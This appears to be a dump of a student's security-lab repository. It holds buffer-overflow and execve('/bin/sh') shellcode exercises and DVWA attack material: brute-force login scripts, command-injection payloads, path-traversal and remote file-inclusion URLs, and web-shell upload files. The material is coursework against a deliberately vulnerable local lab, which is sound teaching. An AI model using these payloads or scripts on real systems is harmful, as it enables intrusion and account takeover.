5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609" 69 | .section .note.GNU-stack,"",@progbits 70 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/example2 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function(char *str) { 4 | char buffer[16]; 5 | 6 | strcpy(buffer,str); 7 | } 8 | 9 | void main() { 10 | char large_string[256]; 11 | int i; 12 | 13 | for( i = 0; i < 255; i++) 14 | large_string[i] = 'A'; 15 | 16 | function(large_string); 17 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example2.s: -------------------------------------------------------------------------------- 1 | .file "example2.c" 2 | .text 3 | .globl function 4 | .type function, @function 5 | function: 6 | .LFB0: 7 | .cfi_startproc 8 | pushl %ebp 9 | .cfi_def_cfa_offset 8 10 | .cfi_offset 5, -8 11 | movl %esp, %ebp 12 | .cfi_def_cfa_register 5 13 | subl $56, %esp 14 | movl 8(%ebp), %eax 15 | movl %eax, -44(%ebp) 16 | movl %gs:20, %eax 17 | movl %eax, -12(%ebp) 18 | xorl %eax, %eax 19 | subl $8, %esp 20 | pushl -44(%ebp) 21 | leal -28(%ebp), %eax 22 | pushl %eax 23 | call strcpy 24 | addl $16, %esp 25 | nop 26 | movl -12(%ebp), %eax 27 | xorl %gs:20, %eax 28 | je .L2 29 | call __stack_chk_fail 30 | .L2: 31 | leave 32 | .cfi_restore 5 33 | .cfi_def_cfa 4, 4 34 | ret 35 | .cfi_endproc 36 | .LFE0: 37 | .size function, .-function 38 | .globl main 39 | .type main, @function 40 | main: 41 | .LFB1: 42 | .cfi_startproc 43 | leal 4(%esp), %ecx 44 | .cfi_def_cfa 1, 0 45 | andl $-16, %esp 46 | pushl -4(%ecx) 47 | pushl %ebp 48 | .cfi_escape 0x10,0x5,0x2,0x75,0 49 | movl %esp, %ebp 50 | pushl %ecx 51 | .cfi_escape 0xf,0x3,0x75,0x7c,0x6 52 | subl $276, %esp 53 | movl %gs:20, %eax 54 | movl %eax, -12(%ebp) 55 | xorl %eax, %eax 56 | movl $0, -272(%ebp) 57 | jmp .L4 58 | .L5: 59 | leal -268(%ebp), %edx 60 | movl -272(%ebp), %eax 61 | addl %edx, %eax 62 | movb $65, (%eax) 63 | addl $1, -272(%ebp) 64 | .L4: 65 | cmpl $254, -272(%ebp) 66 | jle .L5 67 | subl $12, %esp 68 | leal -268(%ebp), %eax 69 | pushl %eax 70 | call function 71 | addl $16, %esp 72 | nop 73 | movl -12(%ebp), %eax 74 | xorl %gs:20, %eax 75 | je .L6 76 | call __stack_chk_fail 77 | .L6: 78 | movl -4(%ebp), %ecx 79 | .cfi_def_cfa 1, 0 80 | leave 81 | .cfi_restore 5 82 | leal -4(%ecx), %esp 83 | .cfi_def_cfa 4, 4 84 | ret 85 | .cfi_endproc 86 | .LFE1: 87 | .size main, .-main 88 | .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609" 89 | .section .note.GNU-stack,"",@progbits 90 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/example3 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function(int a, int b, int c) { 4 | char buffer1[5]; 5 | char buffer2[10]; 6 | int *ret; 7 | 8 | ret = buffer1 + 26; 9 | (*ret) += 10; 10 | } 11 | 12 | void main() { 13 | int x; 14 | 15 | x = 0; 16 | function(1,2,3); 17 | x = 1; 18 | printf("%d\n",x); 19 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example3.c~: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function(int a, int b, int c) { 4 | char buffer1[5]; 5 | char buffer2[10]; 6 | int *ret; 7 | 8 | ret = buffer1 + 26; 9 | (*ret) += 12; 10 | } 11 | 12 | void main() { 13 | int x; 14 | 15 | x = 0; 16 | function(1,2,3); 17 | x = 1; 18 | printf("%d\n",x); 19 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/exit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/exit -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/exit.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void main() { 4 | exit(0); 5 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/foo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/foo -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/foo.c: -------------------------------------------------------------------------------- 1 | void foo() 2 | { 3 | asm("jmp line\n\t" 4 | "address: popl %esi\n\t" 5 | "movl %esi, 0x08(%esi)\n\t" 6 | "xorl %eax, %eax\n\t" 7 | "movl %eax, 0xc(%esi)\n\t" 8 | "movb %al, 0x7(%esi)\n\t" 9 | "movb $0xb, %al\n\t" 10 | "movl %esi, %ebx\n\t" 11 | "leal 0x8(%esi), %ecx\n\t" 12 | "leal 0xc(%esi), %edx\n\t" 13 | "int $0x80\n\t" 14 | "xorl %ebx, %ebx\n\t" 15 | "movl %ebx, %eax\n\t" 16 | "inc %eax\n\t" 17 | "int $0x80\n\t" 18 | "line: call address\n\t" 19 | ".string \"/bin/sh\"\n\t" 20 | ); 21 | } 22 | 23 | void main() 24 | { 25 | foo(); 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/foo.c~: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/foo.c~ -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/make: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | os.system(f"gcc -m32 {sys.argv[0]}.c -o {sys.argv[0]}") -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/nShellCode: -------------------------------------------------------------------------------- 1 | eb1f5e89760831c089460c884607b00b89f38d4e088d560ccd8031db89d840cd80e8dcffffff2f62696e2f7368 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/newFile.c: -------------------------------------------------------------------------------- 1 | void foo() 2 | { 3 | asm("jmp line\n\t" 4 | "address: popl %esi\n\t" 5 | "movl %esi, 0x08(%esi)\n\t" 6 | "xorl %eax, %eax\n\t" 7 | "movl %eax, 0xc(%esi)\n\t" 8 | "movb %al, 0x7(%esi)\n\t" 9 | "movb $0xb, %al\n\t" 10 | "movl %esi, %ebx\n\t" 11 | "leal 0x8(%esi), %ecx\n\t" 12 | "leal 0xc(%esi), %edx\n\t" 13 | "int $0x80\n\t" 14 | "xorl %ebx, %ebx\n\t" 15 | "movl %ebx, %eax\n\t" 16 | "inc %eax\n\t" 17 | "int $0x80\n\t" 18 | "line: call address\n\t" 19 | ".string \"/bin/sh\"\n\t" 20 | ); 21 | } 22 | 23 | int main() 24 | { 25 | foo(); 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/ntemp: -------------------------------------------------------------------------------- 1 | e92a0000005e897608c6460700c7460c00000000b80b00000089f38d4e088d560ccd80b801000000bb00000000cd80e8d1ffffff2f62696e2f736800905dc38b -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/ntemp~: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/ntemp~ -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/pgm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/pgm -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/pgm.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = "\xeb\x1f..."; 2 | 3 | int main(int argc, char *argv[]) 4 | { 5 | void (*shell)() = (void *) shellcode; 6 | shell(); 7 | return 0; 8 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/q2 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2.c~: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2_temp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/q2_temp -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2_temp.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2_temp.c~: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3\x8b"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/q3 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buff[256]; 14 | strcpy(buff, arg); 15 | temp() ; 16 | printf("%s\n",shellcode) ; 17 | printf("%s\n",buff) ; 18 | temp() ; 19 | return 0; 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | foo(shellcode); 25 | return 0; 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3.c~: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buff[256]; 14 | strcpy(bufCode, arg); 15 | temp() ; 16 | printf("%s\n",shellcode) ; 17 | printf("%s\n",buff) ; 18 | temp() ; 19 | return 0; 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | foo(shellcode); 25 | return 0; 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3_temp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/q3_temp -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3_temp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buf[256]; 14 | strcpy(buf, arg); 15 | for(int i=0;i<256;i+=1) 16 | buf[i] = arg[i] ; 17 | temp() ; 18 | printf("%s\n",shellcode) ; 19 | printf("%s\n",buf) ; 20 | temp() ; 21 | return 0; 22 | } 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | foo(shellcode); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3_temp.c~: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buf[256]; 14 | strcpy(buf, arg); 15 | for(int i=0;i<64;i+=1) 16 | buf[i] = arg[i] ; 17 | temp() ; 18 | printf("%s\n",shellcode) ; 19 | printf("%s\n",buf) ; 20 | temp() ; 21 | return 0; 22 | } 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | foo(shellcode); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/shellcode -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char *name[2]; 6 | 7 | name[0] = "/bin/sh"; 8 | name[1] = NULL; 9 | execve(name[0], name, NULL); 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcode.c~: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char *name[2]; 6 | 7 | name[0] = "/bin/sh"; 8 | name[1] = NULL; 9 | execve(name[0], name, NULL); 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/shellcodeasm -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\tmovb $0x0,0x7(%esi)\n\tmovl $0x0,0xc(%esi)\n\t movl $0xb,%eax\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\tmovl $0x1, %eax\n\tmovl $0x0, %ebx\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm.c~: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\tmovb $0x0,0x7(%esi)\n\tmovl $0x0,0xc(%esi)\n\t movl $0xb,%eax\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\tmovl $0x1, %eax\n\tmovl $0x0, %ebx\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/shellcodeasm_2 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm_2.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\txorl %eax,%eax\n\tmovb %al,0x7(%esi)\n\tmovl %eax,0xc(%esi)\n\tmovb $0xb,%al\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\txorl %ebx, %ebx\n\tmovl %ebx, %eax\n\tinc %eax\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm_2.c~: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\txorl %eax,%eax\n\tmovl %eax,0x7(%esi)\n\tmovl %eax,0xc(%esi)\n\tmovb $0xb,%al\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\txorl %ebx, %ebx\n\tmovl %ebx, %eax\n\tinc %eax\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/temp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/temp -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/temp.c: -------------------------------------------------------------------------------- 1 | void foo() { 2 | } 3 | 4 | int main() { 5 | asm("jmp line\n\t" 6 | "address: popl %esi\n\t" 7 | "movl %esi, 0x08(%esi)\n\t" 8 | "xorl %eax, %eax\n\t" 9 | "movl %eax, 0xc(%esi)\n\t" 10 | "movb %al, 0x7(%esi)\n\t" 11 | "movb $0xb, %al\n\t" 12 | "movl %esi, %ebx\n\t" 13 | "leal 0x8(%esi), %ecx\n\t" 14 | "leal 0xc(%esi), %edx\n\t" 15 | "int $0x80\n\t" 16 | "xorl %ebx, %ebx\n\t" 17 | "movl %ebx, %eax\n\t" 18 | "inc %eax\n\t" 19 | "int $0x80\n\t" 20 | "line: call address\n\t" 21 | ".string \"/bin/sh\"\n\t" 22 | ); 23 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/testsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/testsc -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/testsc.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3\x8b"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/testsc.c~: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3\x8b"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/easy.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | 4 | password = "pass" 5 | passFilePath = "passwords.txt" 6 | passFile = open(passFilePath) 7 | 8 | for password in passFile.readlines() : 9 | password = password.strip('\n') 10 | url = f'http://localhost/DVWA/vulnerabilities/brute/?username=admin&password={password}&Login=Login' 11 | 12 | cookies = { 13 | 'security':'low' , 14 | 'PHPSESSID':'njos0jhhcj197l8dj3d9bs08co' 15 | } 16 | 17 | response = requests.get(url=url,cookies=cookies) 18 | 19 | if "incorrect" not in response.text : 20 | print(f"[+] Password Found {password}") 21 | # print(response.text) 22 | else : 23 | print(f"[-] Failed with {password}") -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/high.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import requests 3 | 4 | class bcolors: 5 | HEADER = '\033[95m' 6 | OKBLUE = '\033[94m' 7 | OKCYAN = '\033[96m' 8 | OKGREEN = '\033[92m' 9 | WARNING = '\033[93m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | 15 | cookies = { 16 | 'security':'high' , 17 | 'PHPSESSID':'njos0jhhcj197l8dj3d9bs08co' 18 | } 19 | 20 | password = "pass" 21 | passFilePath = "passwords.txt" 22 | passFile = open(passFilePath) 23 | 24 | for password in passFile.readlines() : 25 | password = password.strip('\n') 26 | page_url = f'http://localhost/DVWA/vulnerabilities/brute/' 27 | page = requests.get(url=page_url,cookies=cookies) 28 | 29 | parts = page.text.split("user_token")[1] 30 | parts = parts.split("value=")[1] 31 | token = parts.split()[0][1:].strip('\'') 32 | 33 | url = f'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password={password}&Login=Login&user_token={token}' 34 | 35 | response = requests.get(url=url,cookies=cookies) 36 | 37 | print(f'[+] Trying : {url}') 38 | 39 | if not "incorrect" in response.text : 40 | print(f"{bcolors.OKGREEN}[+] Password Found {password}{bcolors.ENDC}") 41 | else : 42 | print(f"[-] Failed with {password}") 43 | # print(response.text) 44 | 45 | # exit(0) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/medium.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import requests 3 | 4 | class bcolors: 5 | HEADER = '\033[95m' 6 | OKBLUE = '\033[94m' 7 | OKCYAN = '\033[96m' 8 | OKGREEN = '\033[92m' 9 | WARNING = '\033[93m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | 15 | password = "pass" 16 | passFilePath = "passwords.txt" 17 | passFile = open(passFilePath) 18 | 19 | attempt = 0 20 | 21 | def makeRequest(url,password) : 22 | global attempt 23 | attempt += 1 24 | sids = [ 25 | 'njos0jhhcj197l8dj3d9bs08co', 26 | '48drtsq3vsvdje3dbse8vi9ppc', 27 | 'kdrhi58ggdq31q9jr1gmf4su2o' 28 | ] 29 | l = len(sids) 30 | 31 | cookies = { 32 | 'security':'medium' , 33 | 'PHPSESSID':sids[0] 34 | } 35 | 36 | response = requests.get(url=url,cookies=cookies) 37 | 38 | if not "incorrect" in response.text : 39 | print(f"{bcolors.OKGREEN}[+] Password Found {password}{bcolors.ENDC}") 40 | else : 41 | print(f"[-] Failed with {password}") 42 | 43 | for password in passFile.readlines() : 44 | password = password.strip('\n') 45 | url = f'http://localhost/DVWA/vulnerabilities/brute/?username=admin&password={password}&Login=Login' 46 | 47 | thread = threading.Thread(target=makeRequest,args=(url,password,)) 48 | thread.start() -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/passwords.txt: -------------------------------------------------------------------------------- 1 | passw0rd 2 | p@ssw0rd 3 | pa55w0rd 4 | Password 5 | passw0rd 6 | p@ssw0rd 7 | pa55w0rd 8 | Password 9 | password 10 | passw0rd 11 | p@ssw0rd 12 | pa55w0rd 13 | Password -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSP Bypass/solutions.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_3/CSP Bypass/solutions.txt -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSRF/high.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

You Have Won $5000

4 | 5 | 18 | 19 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSRF/low.html: -------------------------------------------------------------------------------- 1 | 2 |

3 | You have won $5000 4 |

5 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSRF/solutions.txt: -------------------------------------------------------------------------------- 1 | Medium 2 | Make guestbook entry with change password url embedded 3 | - requires to modify input field to have more than 50 characters 4 | 5 | High 6 | Upload file with upload vulnerability 7 | Run from there -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CommandInjection/solutions.txt: -------------------------------------------------------------------------------- 1 | low 2 | ; hostname 3 | ; whoami 4 | 5 | medium 6 | || hostname 7 | || whoami 8 | 9 | high 10 | |hostname 11 | |whoami -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileInclusion/solutions.tx: -------------------------------------------------------------------------------- 1 | Low 2 | Run shell and cat php 3 | http://localhost/DVWA/vulnerabilities/fi/?page=../../hackable/flags/fi.php 4 | http://localhost/DVWA/vulnerabilities/fi/?page=http://127.0.0.1:8000/FileInclusion/shell.php 5 | 6 | Medium 7 | Run Shell and Cat php 8 | Use URL to bypass String replace 9 | http://localhost/DVWA/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php 10 | http://localhost/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1:8000/FileInclusion/shell.php 11 | 12 | High 13 | Run shell and Cat php 14 | Use file notation 15 | http://localhost/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/flags/fi.php 16 | Upload shell code and run in similar manner 17 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_h.jpg: -------------------------------------------------------------------------------- 1 | GIF98 2 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_h.php: -------------------------------------------------------------------------------- 1 | GIF98 2 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_l.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_m.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/Insecure Captcha/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | Send Post request with password 3 | 4 | Medium 5 | Send Post request with password and captcha passed flag as true 6 | 7 | High 8 | Send Post request with user-agent : reCAPTCHA and g-recaptcha-response : hidd3n_valu3 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/ModSecurity/detection.txt: -------------------------------------------------------------------------------- 1 | BruteForce 2 | Low : No 3 | Medium : No 4 | High : No 5 | 6 | Command Injection 7 | Low : Yes 8 | Medium : Yes 9 | High : Yes 